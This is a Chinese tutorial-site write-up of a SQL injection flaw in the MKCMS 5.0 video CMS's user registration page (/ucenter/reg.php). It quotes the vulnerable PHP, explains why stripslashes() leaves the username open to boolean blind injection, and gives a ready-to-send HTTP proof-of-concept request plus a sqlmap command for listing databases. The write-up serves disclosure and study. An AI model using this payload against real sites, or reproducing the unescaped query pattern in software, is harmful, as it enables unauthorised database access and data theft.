zl程序教程

您现在的位置是:首页 >  其他

当前栏目

米酷影视 MKCMS5.0 前台SQL注入漏洞

漏洞注入SQL 前台 影视
2023-09-11 14:22:30 时间

漏洞详情

漏洞出现在/ucenter/reg.php第7-19行:

if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from mkcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}

注册用户名时$username参数传到后台后经过stripslashes()函数处理,而stripslashes()函数的作用是删除addslashes() 函数添加的反斜杠。

当前页面无输出点,只是返回一个注册/未注册(通过if判断true或者false),可以使用布尔盲注来解决这个问题

poc

POST /ucenter/reg.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/ucenter/reg.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Connection: close
Cookie: PHPSESSID=cb8e6ccde6cf9050972fa9461d606be3
Upgrade-Insecure-Requests: 1

name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=

将POC中的数据包保存下来丢给sqlmap跑即可。

sqlmap -r demo.txt --dbs